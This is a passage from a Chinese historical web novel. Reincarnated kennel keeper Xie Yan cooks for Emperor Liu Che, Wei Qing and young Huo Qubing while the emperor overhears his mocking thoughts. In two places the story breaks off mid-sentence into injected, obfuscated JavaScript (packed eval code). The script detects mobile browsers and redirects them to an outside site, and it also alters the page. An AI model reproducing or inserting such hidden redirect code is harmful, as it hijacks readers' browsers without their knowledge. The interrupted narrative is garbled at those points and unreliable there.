谢晏拉着他走一会就抱着他走一会,抱累了把他放地上,狗窝也到了。不过谢晏没进去,而是转向狗窝后面的猪圈。 拎着粪筐出来的啬夫看到他,跟去猪圈:“小孩,抓鸭子啊?鸭子在河边还没回来。” 谢晏指着公鸡:“抓两只杀了。” 啬夫怀疑自己听错了:“昨日才吃过,今日又吃?” “陛下留下用饭。”谢晏无奈地说。 啬夫放下粪筐,进去抓两只公鸡:“我烧水杀鸡?” 谢晏点点头:“我和大宝去找点菜。” 啬夫:“是吃面汤还是吃饼?” 小霍去病要吃面。 谢晏:“和面吧。” 啬夫:“白面估计只能吃今晚一顿。” 谢晏:“无妨。明早用细筛子筛几斤。饭后洗小麦,下午晒干后再去村里磨面。” 建章卫的大厨房吃的面是去市场买的。谢晏等人无需巡逻,时间比较自由,又担心外面买的不干净,亦或者被老鼠爬过,就选择自己加工。 “再砸些麦仁。大宝爱喝小米麦仁粥。”谢晏捏捏小孩的手,“我们去摘菜?” 小孩蹦蹦跳跳跟上,头发丝都带着对此事的喜悦。 谢晏要做的是大公鸡炖菜。 配菜有木耳,有村民送的自家晒干的黄花菜,还有他在院子里捡的蘑菇。谢晏担心把同僚们吃中毒,只捡前世自家常做的几种。 每样抓一碗泡发,谢晏泡出一盆。 谢晏先用鏊子把鸡肉煸香,再倒入大砂锅中炖,炖出肉香就把面饼盖上去,便是传说中的小鸡盖被。 今日人多,除了刘彻和内侍,还多了韩嫣。一张面被哪够啊。谢晏又煮半盆面条,捞出后过凉水,一半做凉面,一半浇上小鸡汤汁,做成盖面。 谢晏在菜园子里摘的素菜用鏊子炒熟。 待素菜盛出,院中肉香和面香愈发浓郁,小霍去病也不嫌热,谢晏走到哪儿他跟到哪儿,希望可以最先吃到小鸡盖被。 谢晏给杨得意使个眼色,低声问:“待会怎么吃啊?” 杨得意脑海里浮现出一行字—— 伴君如伴虎! 杨得意:“你把菜分两份,我们端去狗窝,就说今日母狗生产,需要我们看着。你,”很是不好意思,“你就辛苦一下,和阿青在这里陪陛下。” 谢晏把菜一分为二,面饼四六分,他和皇帝是四,杨得意等人多分一些。 谢晏分面和菜的时候,杨得意向皇帝告罪。 刘彻不知道他多么招人嫌,对杨得意的说辞信以为真,很是大度地表示无需伺候。 谢晏把面分好便问:“陛下,在室内用饭,还是在门外?” 刘彻喜欢门外林檎树下,有着凉风和果香,闻言就眼神示意韩嫣和内侍搭把手。 韩嫣把用饭的方几搬出去,内侍端素菜,小霍去病抱着坐 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刘彻指着半张面饼,眼神示意谢晏解释。 谢晏擦擦手把面饼掰成小块。 坐在地上的小霍去病不禁扒着方几起身。 卫青轻咳一声,小孩又踏踏实实坐下。 韩嫣笑着说:“去病才三岁啊。”朝皇帝看一眼,见他不曾流露出不快,“别说他,我都要忍不住。” 这倒是真话! 韩嫣这辈子也没有吃过先煎炒后炖的小鸡。 若非他在宫中用过太多山珍海味,早已垂涎三尺。 谢晏先在刘彻的面上浇一勺肉和汤,随后是卫青、韩嫣、卫家宝和他。最后一人来一块裹满汤汁的面饼。 面饼劲道,鸡腿肉鲜香,黄花菜也很入味,刘彻可以发誓,他从未用过如此浓香的炖鸡。 尝了面和肉,刘彻又吃一口浸满汤汁的面条。虽然他也吃过面条,可宫中的面是模子压的,远不如擀面条有嚼劲。 十九岁的刘彻牙口极好,自然是更喜欢擀面条。 刘彻原先对素炒青菜和凉面不感兴趣,尝过那几样,他也忍不住尝尝青菜。青菜没有水汽,谢晏又放了一点蒜末,因此青菜的味道不再寡淡。 宫中从未出现过炒菜,以至于仅仅是炒青菜,对刘彻而言也十分稀奇。 刘彻朝谢晏看去。 谢晏心惊。 [狗皇帝不会吃美了叫我进宫当厨子吧?] 刘彻险些心梗。 这一刻,刘彻无比确定,谢晏比他生的晚! 世人不敢当着他的面骂他,哪怕是在心里。只有一种可能,谢晏出生的时候他这个皇帝早没了。好比如今的百姓,敢骂以前的皇帝。 突然想到谢晏之前几次自称“小爷”,刘彻意识到谢晏前世死的时候不大。 看在他是个短命鬼的份上,刘彻劝自己,他乃堂堂帝王,犯不着跟个小鬼计较。 韩嫣:“阿晏,你的厨艺跟谁学的?有没有食谱?” 谢晏乐了。 [饭前叫人家谢晏,现在叫人家阿晏。您可真是个小机灵。] 刘彻闻言心里舒坦了。 原来不是只挤兑朕一人啊。 谢晏:“没有食谱。我是一点点摸索的。第一次做烤鸭不但没有入味,还烤糊了。” 小霍去病吞下口中鸡腿肉:“晏兄,我想吃烤鸭!” “过几日再做。”谢晏担心刘彻多嘴,“昨日烤鸭,今日炖鸡,晏兄很累,可以叫晏兄歇息两日吗?” 小孩点头。 韩嫣朝刘彻看去,怎么觉着这话是对我俩说的啊。 刘彻心底冷笑,你的感觉没错! 11. 无计可施 刘彻活了十九年,第一次对一个人无计可施。 杀,不能杀! 谢晏知道太多事。 关,不能关! 谢晏知道太多事。 骂,可以骂。 谢晏会在心里同他对骂。 刘彻只能劝他放宽心,别跟可怜的短命鬼计较。 饭毕,刘彻想把卫青和霍去病带走。当他看到小孩又黏上谢晏,卫青走路一瘸一拐,受伤的腿不敢用力,刘彻放弃了。 刘彻走后,谢晏拿着衣物,叫上卫青,去河边水流处沐浴。 卫青的腿不可以泡水,便打盆水在岸边擦洗。 小霍去病可以下水,但他不敢。 谢晏伸出双臂:“跳下来,晏兄接着你。” 小孩朝他舅看去。 卫青:“我会下去救你!” 有两个人保护他,小孩不怕,扑通一声跳下去,不等他喝上一口,谢晏就把他拽出来。 谢晏教他游术,小孩漂浮在水面上不愿意上去。 谢晏把他拽上去:“以后不可以一个人来洗澡。水中有大鱼,鱼的嘴巴很大,一口把你吞下。” 小崽子不信。 谢晏左右一看,在河岸边看到几个洞,指着洞问:“知道这个是什么吗?” 小孩摇头。 谢晏:“大鱼的鼻孔。大鱼躲在里面怕把自己闷死就钻个孔出来。回头我们找杨公公做几个竹篾抓鱼。” 小霍去病好奇地问:“抓大鱼做什么啊?” “炖了吃。”谢晏想到若是小孩回头问他大鱼去哪儿了,他也不能说跑了,太欺负小孩。 谢晏:“就算抓不到大鱼,也可以抓到大鱼的儿子。” 煞有其事的样子令小孩不敢怀疑他,也不敢心存侥幸。 半道上看到知了,小孩又要抓知了。 殊不知杨得意已经带着几个人抓了许多。 谢晏发现无需他钻林子就把门板卸掉,草席放门板上,燃起艾柱,在院中睡觉。 杨得意等人回来险些吓掉魂,烟雾缭绕中躺着个人,旁边一盏孤灯,跟灵堂似的。 回过神来,杨得意一言难尽地看向卫青:“你不管管?” 卫青:“室内不如院中凉爽。此地也没有外人,是不是也把我卧房的门板卸掉?” 杨得意噎了一下:“你们,幕天席地,真是不拘小节!” 谢晏起身。 杨得意吓了一跳,险些喊出“诈尸”! 谢晏:“天都黑了,还不睡?” 杨得意去洗漱。 躺下后,杨得意觉得屋里闷,犹豫许久,也把门板拆了。 谢晏此时已经进入梦乡。卫青还没睡着,但他不爱搬弄是非,也不如谢晏嘴毒,抬头看一下就躺回去。小霍去病睡在他和谢晏中间,肚子上裹着一块布,谢晏给他裹的,担心他着凉。 谢晏跟他妈学的。前世他妈就是这么照顾他侄女。 翌日清晨的饭菜和昨日一样,小霍去病等人也没吃够,跟昨日一样吃得饱饱的。 饭后,谢晏到狗窝看几眼,听到刘彻问霍去病要不要骑马,小孩叫嚷着“要”,谢晏趁机溜了。 谢晏和几个闲着无事的啬夫把粮食洗干净晾晒,他就去找木匠给他打两张床。谢晏考虑的极好,用麻绳编床,日后把床搬到院中,省得晚上拆门早上安门。 谢晏又买几个竹篾。 傍晚,谢晏拿着竹篾,拎着衣服锄头等物去河边。 在草丛里挖到许多蚯蚓,谢晏把蚯蚓放竹篾中扔到河里。他在河边点上艾柱,拿出小棍钓螃蟹。 卫青领着外甥来河边洗澡,看到竹篾里头有三个螃蟹,很是好奇:“有你不会的吗?” 谢晏:“我一看兵法就头疼犯困。” 卫青不困,他可以看上一天:“我先去洗澡。待会我来钓,你和去病去洗?” 谢晏把木棍放地上:“你看到动了拽起来就行了。我俩现在去,待会水就凉了。” 小霍去病到水里跟条鱼似的,绕着谢晏打转。 谢晏指着岸上的卫青:“你舅舅又钓到一个螃蟹。” 小孩不曾见过螃蟹,闻言被螃蟹吸引。 谢晏迅速给他洗干净就递给卫青。 卫青把外甥的头发擦干,给他穿上干净的衣物,换谢晏钓螃蟹,他趁机把衣物洗了。 小孩蹲在竹篾旁,看着螃蟹往上爬,惊呼一声就起身。 谢晏想问他是不是害怕,扭头一看,也不知道他从哪儿找到两根小棍,轮番上阵戳螃蟹。 不到一炷香,螃蟹就服了。 考虑到卫青的伤快痊愈,吃鱼吃羊肉都无妨,翌日清早,谢晏便用螃蟹煮粥。 刘彻又掐着饭点来了。 谢晏纳闷。 [建章的御厨是不做饭,还是没有御膳房?] 刘彻不想说他叫韩嫣吩咐过厨子,试做小鸡炖菜,然而做了三次,还是同谢晏做的差一点。否则定会被谢小鬼嘲讽。 刘彻走近,看到米粥里面有青菜:“咸粥?” 谢晏:“微臣不知陛下驾到。请陛下恕罪。” 刘彻不爱喝咸粥:“还有什么?” 杨得意把谢晏做的韭菜油饼呈上,卫青端起素炒青菜,小霍去病有样学样端起一碗咸菜。 以前刘彻从未用过如此简单的早膳。可是比御厨做的香,还有什么可挑剔。 刘彻微微颔首,便去洗手。 杨得意看向谢晏,陛下又要留下用饭啊。 谢晏给他个无可奈何的眼神。 杨得意叹着气分餐。随后他带走大半食物去狗舍。 小霍去病坐下发现馍框里的鸡蛋,本能朝刘彻看去。刘彻伸手拿走,小孩顿时想哭。刘彻把蛋壳剥掉递给她,朝小脸上拧一下:“小气鬼!朕什么好东西没吃过。” [那也没见你带着山珍海味过来。] 刘彻呼吸一滞,假装没听见:“蟹煮粥?朕还是第一次见。韩嫣,以前用过吗?” 韩嫣微微摇头:“微臣府上的厨子不如谢公子心灵手巧。” 有的吃还这么多话?谢晏实在忍不住:“所以我不是你府上的厨子!” 韩嫣脸上的浅笑凝固。 谢晏又说:“心灵手巧真是个好词!” 韩嫣神色尴尬。 卫青扯一下谢晏的衣袖,递给他一块油饼。 刘彻毫不意外,他早有预感,表里不一的谢小鬼不可能一直腹诽。 “陛下?”韩嫣一时间吃也不是不吃也不是。 刘彻:“别理他!这些粮食是用国库的钱买的。他可以吃你不可以?该怎么用怎么用。” [也没见你直接啃粮食!] 谢晏快速瞥一眼皇帝和韩嫣—— 刘彻直觉不好:“谢晏,是不是不饿?” 谢晏涌上心头的吐槽被憋回去:“大宝,别玩蛋黄。” 小霍去病举起蛋黄:“不好吃!” 谢晏把当黄放小孩碗中,用勺子碾碎:“试试?” 小霍去病舀一勺,眼中一亮:“好吃欸?” 谢晏又给他半块油饼,小孩一口饼一口粥,吃完喝完,打个饱嗝。 卫青朝外甥看去,发现他胖了。 捏捏外甥的小脸,卫青确定不是错觉。 刘彻看向卫青,也感觉他胖了。以前虽然称不上瘦的皮包骨头,可脸上也没有太多肉。现在看来面色红润了不少。 刘彻不由得转向谢晏,这样一个会吃会喝的人怎么会是个短命鬼啊。 不是有什么隐情吧。 谢晏比他生的晚,有隐情他也无法插手,就把此事放下。 下午,谢晏爬到树上乘凉,小霍去病看到了也要上去,卫青把外甥送上去。 就在此时,谢经带着一群人过来。 谢晏在树上一动未动:“叔父!” 谢经踮起脚抬手朝他腿上一巴掌:“爬这么高也不怕摔倒。” 谢晏:“你不是在宫里吗?” “陛下上午回去一趟,探望卫夫人。方才回来把我叫上,说给你们送几个人。”谢经转身身后六人,“杨公公呢?” 杨得意从狗舍过来,得知给狗舍加六人,不禁眉开眼笑。 谢经走后,谢晏问杨得意日后谁做饭。 杨得意随意指俩人:“你看着他们做!” “这还差不多。”谢晏躺回去,搂着小不点,“睡觉!” 杨得意皱眉:“你当他是你?掉下来如何是好?” 谢晏看着小孩在他怀里也容易掉下去:“大宝,我们先下来。我给你做个好玩的。” 小孩一听“好玩的”,冲舅舅招手。 谢晏驾车找木匠,看看他的床编好了吗。 木匠正打算给他送去,见他过来就把床放车上。谢晏叫木匠再给他编个网兜,用麻绳编。 第二天下午,谢晏不但有床,还有了拴在两颗果树下的吊床。 午后,刘彻和韩嫣过来,身后跟着两辆车,车上尽是些五谷杂粮和油盐酱醋等物。 到狗舍门外,刘彻令人把东西放屋里,他去找卫青。 卫青是找到了,刘彻也傻了—— 卫青竟然躺在树下,身下的东西似床非床,脸上盖着一卷兵书。谢晏和小霍去病躺在麻绳网上睡午觉。 韩嫣指着离地的床,又指着麻绳网,张口结舌:“——两天不来,他,他怎么这么多奇思妙想?” 最后四个字堪称咬牙切齿。 刘彻揉揉额角,“找杨得意问问他找谁做的。” 韩嫣看着吊在半空中的谢晏潇潇洒洒的样子很是羡慕,犹豫一下就去狗窝找杨得意。 刘彻到床边坐下,骨子里十分不安的卫青陡然惊醒。刘彻吓一跳:“——是朕!” 卫青迷迷糊糊坐起来,意识到“朕”是何人,慌忙起身行礼。刘彻把他按回去:“都说了,无需多礼。” 指着铺着草席的床,刘彻问:“谢晏的主意?” 卫青点点头,担心他误会,十分恭顺地低头解释:“阿晏说地上有虫,室内太热。” “吃不了一点苦!”刘彻阴阳怪气,“不愧是名门望族出来的。” 卫青:“陛下,微臣去把他叫醒?” “不必!”突然把他叫醒,他能把朕从天亮骂到下一个天亮。 刘彻拿起兵书,问卫青哪里不懂。 谢晏醒来,刘彻还在指点卫青。他悄悄下床把小家伙抱到院中,打一盆水给小家伙洗洗脸,小霍去病醒了。 谢晏给他倒水,小孩指着水缸要喝井凉水。 谢晏担心他闹肚子,吓唬他井水里面有毒,喝了会拉肚子。 这些日子小霍去病盲目相信他,就乖乖等着谢晏端来早上烧的水。 小霍去病无比困惑:“也是凉的啊。” 谢晏点头:“水缸里的水放在锅里烧烫,虫子被烫死,水变凉虫子也是死的,所以喝下去不会闹肚子。” 小孩懂了。 谢晏把养了几日的泥鳅拿出来,“我们晚上吃这个。” 泥鳅还活着,动起来跟水蛇似的,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩嫣拱手道谢。 谢晏轻轻扯扯嘴角。 [两口子配合的真默契!] “咳!”刘彻被口水呛着,咳得惊天动地。 韩嫣很是担忧地去扶他:“陛下——” 刘彻慌忙抬手,快住嘴吧。 谢晏奇怪。 [他这是怎么了?] 刘彻咳不下去,抬起头来,红着眼睛看到谢晏一无所知的样子。刘彻]立刻决定,日后这个地方,能不来则不来。 刘彻说到做到。 直到卫青痊愈他都不曾出现,令公孙敖前来提醒卫青,翌日去他书房。 谢晏告诉公孙敖他今日做烤鸭。公孙敖立刻去告诉同僚们。随后四只鸭子送过来。谢晏的两个帮手杀鸭子,腌了一个多时辰,拿出来吹风,天黑前一个时辰上烤炉。 大厨房开饭前一炷香,公孙敖前来把鸭子拿走。 不巧被韩嫣撞见。 韩嫣也不想来狗舍,可是烤鸭闻起来实在太香。 谢晏啃着卤鸭掌,另一只手把烤鸭骨扔锅里,打算炖汤煮面,皇帝来了。 谢晏十分困惑。 [他是属狗的吗?] 刘彻后悔走太快。 再一想,也不是第一次,刘彻就当没听见,问霍去病:“烤鸭香吗?” 小霍去病连连点头。 杨得意把他刚刚卷出来的烤鸭饼递过去。 刘彻十分满意,在卫青身边坐下,也不在意另一侧是谁。 可是小黄门等人惶恐不安。 杨得意看到他的下属战战兢兢的样子很是心疼,卷了饼,盛出面条,叫众人去门外。 谢晏好奇地问:“陛下,鹿肉香不香?” “鹿肉?”刘彻看看卷饼,不应当问鸭肉吗。 谢晏点头。 刘彻:“烤鹿肉?香啊。” 谢晏:“听说陛下吃过熊掌、鱼唇,鸭子只吃鸭舌?” 刘彻听明白了:“山珍海味吃腻了,偶尔清粥小菜也别有一番滋味!” 谢晏自闭了。 刘彻暗乐:“烤鸭有没有食谱?” “待会就写给你!”谢晏没好气道。 卫青很是担忧:“陛下——” 刘彻:“朕没有那么小心眼。跟他计较,朕早气死了。” 谢晏不敢挑战刘彻的底线,最终撇撇嘴什么也没说。 刘彻走后,谢晏和往常一样和舅甥二人去河边,回来后捡知了。 翌日清晨,小霍去病的早饭多了一碗鸡蛋羹。 饭后得知要回城,小孩抱着谢晏不撒手。 谢晏蹲下问:“晏兄也舍不得大宝。可是晏兄听说你娘很想你,你祖母天天流泪。大宝不想祖母吗?不想大舅舅吗?” 小霍去病扑到他怀里:“晏兄可以和我回家吗?” “狗狗病了怎么办呢?”谢晏反问。 卫青把外甥拉到身边:“这些日子晏兄日日给你做好吃的,他都累瘦了。你叫晏兄歇几日,过几日我再带你过来。” 小霍去病一声不吭。 卫青:“我差点忘了,陛下给你找两个先生,日后你上午跟着先生认字,下午跟着先生学骑射。” 小霍去病转身,“舅舅,我好想娘亲,好想祖母啊。我们回家吧。” 12.谢晏卖狗 杨得意等人被卫大宝逗得乐不可支。 谢晏把这两日他亲自编写的食谱递给卫青,“用鏊子还是用蒸笼,我也写在上面。依照食谱做菜,即便少油少盐,也不至于难以下咽。” 卫青看过谢晏送给皇帝的两卷食谱,并非谢晏所写。 食谱上的油盐酱醋用量不是少许就是适量。 刘彻咬牙切齿地抱怨,谢小鬼有意的。 以至于卫青感到两卷食谱远比前几日的兵书沉重,“我家人多眼杂,若是这些——” 谢晏:“无妨!只当做善事为自己积德。” 卫青郑重地说道:“我会叫二姐仔细收着。” “舅舅,走啦。”小霍去病拽着卫青要上车。 谢晏跟出去把他送到车上。小霍去病又不想走。谢晏故意问杨得意:“陛下快到了吧?” 小孩立刻叫舅舅驾车。 卫青对此只能无奈地摇摇头。 小霍去病走后,谢晏有些不习惯,感觉生活没意思极了。 杨得意对谢晏“厌世”的样子太熟悉,率先发现他神色不对 下午在树下乘凉,杨得意问他农家的小猪生了吗。 谢晏想起先前答应人家过几日过去看看。 做人不能言而无信。 谢晏起身,杨得意叫小黄门跟他一道去。 二人驾车走远,杨得意令啬夫锯树枝,在猪圈旁搭个鸡窝和鸭窝。 林中烂果足够养鸡,鸭子无需喂养,早上赶到河里,晚上找回来便可。每天还有几个鸡蛋和鸭蛋,无需大热天去市场或者农户家中采买,堪称省钱省事。因此对于养鸡养鸭无人抱怨。 几个啬夫挑好搭窝棚的树枝,谢晏也到村里。 小猪仔极小,需要养到中秋节。谢晏便同农户说定,中秋节前一日他来抓小猪。 八月十四,悄然而至,做早饭的时候,谢晏琢磨着爹妈不在身边,他也应当好好过节。谢晏决定用烤炉烤月饼。 做月饼离不开猪油,考虑到狗舍人多,天气一日冷过一日,可以多买些储存,谢晏就挑个机灵的,比他大十来岁的黄门,同他一起。顺便带上他这些日子攒的蝉脱。 两人抵达西市,驴车放到车行寄存,谢晏发现黄门对什么都感兴趣,约定在肉行猪肉铺碰头,他俩就分开行动。 谢晏时常进城买药,同西市益和堂的东家和伙计都很熟,他便直奔益和堂。 坐堂郎中还记得谢晏,看到他便起身相迎:“小谢先生,别来无恙啊。” 谢晏把麻袋放下:“托先生的福,近日极好。这是我一个夏天攒的蝉脱。您这里不收,我再去别处看看。” 郎中笑了:“还是个急性子啊。”打开麻袋,“都是完整的?” 谢晏:“放进去的时候是完整的。应该没有多少破碎。从建章园林到城里的路极好。” 进门的男子脚步一顿,朝谢晏看过来。 谢晏随便抄一把蝉脱递给郎中。 郎中满意地点点头,令伙计过称。 谢晏朝柜台走去。 郎中跟上去问谢晏需要什么样的药材。 谢晏不买药材,他买香料,药食同源的香料。 狗舍每月可以剩下许多钱,谢晏就选五样,每样百文。伙计用荷叶包起来,用麻绳系到一起递给谢晏。 谢晏一手接过香料,一手接过卖蝉脱的钱。 到门外,谢晏看向拎着三份药材停在路边的男子:“找我何事?” 男子二十多岁,比谢晏大十几岁,闻言心惊:“你你,怎么知道我找你?” “你一进门就盯上我。我选香料的时候你的眼睛也没闲着。不会是看中我的钱?”谢晏见他身着绸衣,“你看起来远比我有钱。” 男子左右看一下,没有熟人,一把把谢晏拉到拐角处。 伙计从里面跑出来:“小谢先生——” 谢晏抬抬手表示自己没事。 伙计不放心:“有事您招呼一声。” 谢晏点点头,看向男子:“还是不说?不说我走了。” 男子抓住谢晏的手臂,低声问:“方才听你说,建章园林,你在建章离宫做事?” 谢晏点头,心想着,建章离宫又不是皇宫,寻常百姓也去的,他用得着如此稀奇吗。 男子又问:“听说狗监是杨得意?你认识不认识杨得意?” “你找他?”谢晏诧异,合着不是找我啊。 男子欣喜万分:“你认识对不对?听说皇家猎犬挑选极其严格。请问淘汰的犬是不是吃——” 谢晏打断:“你想买狗肉?我们不杀狗。身上沾了狗血,有的狗会性情大变。” 男子注意到“我们”,“你也是狗——”想起他方才挑药材的样子,“你是兽医是不是?狗舍的兽医?那我找你也一样。我不买狗肉,别急着走,听我说完,我想要猎犬和看家狗。正是你们挑剩的。一只五百文如何?” 谢晏拨开他的手。 真当他年幼无知啊。 寻常百姓家养的大黄一只也要五百文。 男子拉住他:“一贯!” 谢晏继续往前。 “十贯!”男子忙说。 谢晏停下:“懂人事的看家狗和凶猛的猎犬不可能卖给你。否则此事一旦传出去,我小命不保。陛下隔三差五去狗舍选狗,他有着过目不忘的本领,我们也不敢在他眼皮子底下弄虚作假。你应当听说过陛下的脾气。” 男子连连点头:“听说过,听说过。前些日子有个叫李什么的神棍骗了陛下,被廷尉腰斩弃市!后来还是义庄出面为他收尸。” 谢晏心头发冷,再一想他又不可能犯下欺君之罪,暗暗松了口气:“你要挑剩的狗做什么?” “配种。”男子擅长训狗,时常可以化腐朽为神奇,但他不想暴露这一点,否则传扬出去,不好糊弄王侯将相,“既然你们不吃,送给旁人不如卖给我。你得五贯,孝敬杨狗监三贯,余下的分给同僚,肯定无人上告。谁会跟钱有仇。” 谢晏点头:“言之有理!”沉吟片刻,“那三日后,我,选两只,在这里——” 男子慌忙摇头:“这里人来人往,哪能在这儿。我家在城外有个庄子,改日去我那里?” 谢晏记下地址便朝肉行走去。 买了肥猪肉,谢晏又买许多红豆和红枣。 发现有鲜藕上市,谢晏又买几根藕。 下午,谢晏和小黄门下乡。 抵达养猪的农户家中,谢晏拿出他先前定做的柳叶刀,用火烤过,手起刀落,毫不凝滞,小公猪变成阉猪。 小黄门夹紧双腿,身上直冒冷汗。 猪的男主人哆哆嗦嗦问:“谢,小谢先生,这——是做什么?” 谢晏请女主人给他一些干净的草木灰,敷到猪伤处。 男主人提醒:“小谢先生,小猪会死的。” “所以用草木灰。可以止血,也可防止小猪病死。”谢晏突然想起他的话,“你试过,所以知道猪会死?” 男主人:“我爹活着的时候试过。听人说骟过的猪长得快。可是能不能长大,要看运气。我家运气不好,两头小猪都死了。” 谢晏:“既然你清楚,我也不再多言。” 两头蔫头蔫脑的小猪放入笼中,谢晏和同僚回去。 男主人送他到门外,看着他走远,还有些回不过神,讷讷道:“小谢先生是个干大事的人。” 小小年纪,比他还要下得去手。 - 谢晏把小猪安顿好,便去皇帝住所。 请离宫的黄门回头见着皇帝替他通禀一声。 然而谢晏没想到刘彻仍在建章。 刘彻在自己住所看到谢晏,同谢晏一样感到奇怪:“你来找仲卿?” 谢晏:“仲卿?” 刘彻心里窃喜,也有你不知道的事! “你可以给去病起名大宝,朕不能给卫青取字仲卿?”刘彻反问。 谢晏想起来了。 [难怪以前听到刘彻直呼“卫青”他觉着别扭。] [传说“千秋万岁后,魂魄犹相依也。”刘彻不该直呼其名。合着是他把这一点忘得一干二净。] 刘彻一时竟不知该在意谢小鬼直呼他的名,还是该在意“魂魄犹相依”。 刘彻突然想对谢晏坦白,方便探听到更多的事。 可是谢晏的性子,令刘彻迟疑不定。 韩嫣近日重新查过谢晏。 谢晏离开蜀郡的前一天晚上,谢家大宅起火,损失惨重。 可以说百年积累毁于一旦! 要说不是谢晏干的,鬼信刘彻都不信。 偏偏没人相信是谢晏干的。 谢家也没有人怀疑谢晏。 大抵是被他时而一派天真,时而蔫头巴脑的样子骗了。 刘彻犹豫再三,决定假装没听见:“找朕何事?” “微臣今日谈了一笔买卖。” 谢晏把他去药店买香料遇到一个富家公子的事和盘托出。 刘彻听闻“十贯”险些失态。 据他所知民间一条成年的大黄狗在四百文左右。 刘彻:“你可知民间一条狗多少钱?” “陛下可知如今犬马之乐盛行?”谢晏反问,“钱被别人赚了不如给我!” 刘彻冷不丁想起前些日子谢小鬼要把他奉为义父! 谢晏一脸无辜:“他要给,臣也不能不要。” 刘彻心想说,真把自己当狗官! “不许卖朕的名犬!”刘彻不放心,再三叮嘱。 谢晏:“十贯买不到名犬。微臣不傻。” 小黄门急匆匆进来。 刘彻皱眉:“何事如此慌张?” 小慌忙:“太尉回来了。” 谢晏好奇。 [人如其名的田蚡?] [这个无耻小人,此时过来做什么?] 刘彻的眉头不自然地动了一下:“请太尉进来。” 谢晏:“陛下,微臣告——” “太尉是朕的舅舅田蚡。想必你也听说过。舅舅宽仁大度,不会同你计较。”刘彻把他留下是想知道谢晏凭什么骂他舅无耻。 小黄门闻言把田蚡请进来。 谢晏忍不住微微侧身。 片刻后,身材矮小的中年男子进来。 男子长得鼻子是鼻子眼是眼,可是合在一起,堪称丑陋。 谢晏毫不意外。 [啧!果然丑人多作怪!] 刘彻有些心不在焉。 谢晏听到百姓流离失所的事情安排妥当不禁抬头。 [别是把所有流民都挖坑埋了。] 半年前,谢晏听人说过黄河泛滥,中原百姓可惨了。天子震怒,令太尉救灾恤患。 当日谢晏不知道皇帝令谁前往。 过了一段时日,谢晏才知道是太尉田蚡。 可惜他人微言轻。 同情灾民也无计可施。 谢晏看着滔滔不绝的田蚡,就差没把邀功写在脸上。 [两面三刀!] [他会认真救灾才怪!] [得亏皇帝不知道你早就和淮南王沆瀣一气。] 刘彻瞬时如坐针毡:“舅舅操劳多日,先回家歇着。天色已晚,朕要回宫。一切事宜,节后再说。” 田蚡笑着告退。 刘彻转向谢晏:“你在这里做什么?” 谢晏张口结舌—— [不是,他有病吧?] 刘彻:“等朕送你?” “微臣告退!”谢晏气得转身就走。 [ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185446|180784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活该田蚡把你骗的团团转。] [活该你不知道怎么治理黄河泛滥!] [这辈子我都不会告诉你,种树固沙河海清宴!] 刘彻起身往前两步停下,看着谢晏在心里骂骂咧咧走远,令小黄门速召韩嫣进宫。 小黄门看看天色:“——明日中秋啊。” “聋了?”刘彻疾言厉色。 小黄门迅速出去。 很是后悔抢着过来伺候陛下。 早知道同谢经一样留在宫中好了。 半个时辰后,韩嫣策马抵达建章离宫。 刘彻废话不说:“挑几个可用的人,明日前往太尉这些日子去过的地方。大事小事务必寻根究底!” 韩嫣被刘彻的神色吓到:“陛下,出什么事了?” 刘彻:“朕说不清楚。所以需要你亲自查看。此事不可叫第三人知晓。” 涉及到国舅,韩嫣也不敢逢人便说。 韩嫣告退,刘彻坐下,仔仔细细回想谢晏的腹诽。 谢晏仿佛笃定田蚡乃奸佞小人。 倘若田蚡只做一件缺德事,谢晏不是这个态度。 刘彻知道田蚡的品行称不上君子,可是他应当不至于什么钱都贪。 若是没有安抚好灾民,轻则他挨骂,重则百姓揭竿而起。 田蚡为官多年,不该不知道孰轻孰重。 谢晏方才提到淮南王,刘彻愈发不能理解。他舅已是武安侯,一人之下万人之上。他把淮南王推上去,淮南王还能封他为“并肩王”不成。 城中晚上宵禁,二人若有往来,定是在光天化日之下。 很难瞒过所有人。 以刘彻对他舅的了解,如今越发贪婪猖狂,兴许他不怕被人发现。 刘彻想到了爱喝酒、恨不得睡在市井之中的金马门待诏东方朔:“宣东方朔。” “陛下,太阳落山城门就关了。”小黄门提醒。 刘彻朝外看去,殿外铺满了红霞,“东方朔家在城中?” 小黄门恍然大悟:“奴婢这就去找东方朔。” 东方朔的家离建章不远,来回三炷香。 小黄门骑马,东方朔骑驴,待东方朔把驴交给内卫,急匆匆到殿内,比小黄门整整迟了一炷香。 刘彻令小黄门守在门外,又令东方朔近一些:“朕听闻城中有淮南王的人。此事你可知晓?” 东方朔面露诧异。 刘彻心里咯噔一下:“好啊!”怒上心头,“一个两个都敢欺君——” “陛下恕罪!”东方朔慌忙跪下。 上一次下跪,东方朔忘记是何时,以至于跪太快,膝盖又麻又疼,险些叫出声来。 刘彻:“从实招来!” “陛下息怒。臣没有证据。微臣也是偶然一次在酒肆听人说起。前一年淮南王入朝觐见,曾见过,”东方朔不禁看向刘彻,不敢说出那个名字。 刘彻:“朕的好舅舅?” 东方朔神色惊变:“您知道?” 刘彻头疼。 他认为擅长驱神抓鬼的人比鬼可恶。 他认为表里不一的人竟然也另有其人! 刘彻心累地抬抬手令他退下。 也没有心思过节。 谢晏可不同。 到了狗舍,谢晏感到神清气爽,不禁长叹:“金窝银窝不如自己的狗窝。” 啪! 谢晏背上挨了一巴掌。 “干什么?”谢晏回头大吼。 杨得意:“你还敢生气?你买那么多红豆和大枣做什么?” “吃啊。”谢晏脱口道。 